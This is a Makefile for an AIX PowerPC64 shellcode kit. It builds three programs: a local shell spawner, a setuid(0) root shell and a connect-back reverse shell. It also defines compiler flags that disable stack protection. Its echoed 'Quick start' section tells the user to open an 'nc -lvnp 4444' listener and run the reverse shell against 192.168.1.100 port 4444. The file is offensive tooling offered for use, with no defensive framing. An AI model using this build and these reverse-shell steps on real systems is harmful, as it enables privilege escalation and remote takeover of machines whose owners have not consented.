# Makefile for AIX PowerPC64 Shellcode Generator
# Compatible with both native AIX make and GNU make
#
# Usage:
#   make              - Build all (default)
#   make clean        - Clean all

CC = gcc
CFLAGS = -maix64 -Wall -Wextra
VULN_CFLAGS = -maix64 -O0 -fno-stack-protector -Wall

# Default target
all: build
	@echo ""
	@echo "========================================="
	@echo "BUILD COMPLETE"
	@echo "========================================="
	@echo ""
	@echo "Programs built:"
	@ls -lh shellcode_local_shell shellcode_setuid_shell shellcode_reverse_shell  2>/dev/null | awk '{print "  " $$9 " (" $$5 ")"}'
	@echo ""
	@echo "Quick start:"
	@echo "  1. Test local shell:"
	@echo "     AIX:  ./shellcode_local_shell"
	@echo ""
	@echo "  2. Test setuid shell:"
	@echo "     AIX:  ./shellcode_setuid_shell"
	@echo ""
	@echo "  3. Test reverse shell:"
	@echo "     Listener:  nc -lvnp 4444"
	@echo "     AIX:       ./shellcode_reverse_shell 192.168.1.100 4444"
	@echo ""
	@echo ""

# Build all programs (template is not built by default)
build: shellcode_local_shell shellcode_setuid_shell shellcode_reverse_shell 

shellcode_local_shell: shellcode_local_shell.c
	@echo "[*] Building shellcode_local_shell (DYNAMIC VERSION)..."
	$(CC) $(CFLAGS) -o shellcode_local_shell shellcode_local_shell.c
	@echo "[+] Built: shellcode_local_shell (detects system() address dynamically)"

shellcode_setuid_shell: shellcode_setuid_shell.c
	@echo "[*] Building shellcode_setuid_shell (SETUID VERSION)..."
	$(CC) $(CFLAGS) -o shellcode_setuid_shell shellcode_setuid_shell.c
	@echo "[+] Built: shellcode_setuid_shell (setuid(0) + shell, dynamic addresses)"

shellcode_reverse_shell: shellcode_reverse_shell.c
	@echo "[*] Building shellcode_reverse_shell (REVERSE SHELL VERSION)..."
	$(CC) $(CFLAGS) -o shellcode_reverse_shell shellcode_reverse_shell.c
	@echo "[+] Built: shellcode_reverse_shell (connect-back shell, dynamic addresses)"

clean:
	@echo "[*] Cleaning..."
	rm -f shellcode_local_shell shellcode_setuid_shell shellcode_reverse_shell 
	rm -f *.o core
	@echo "[+] Cleaned all shellcode executables"
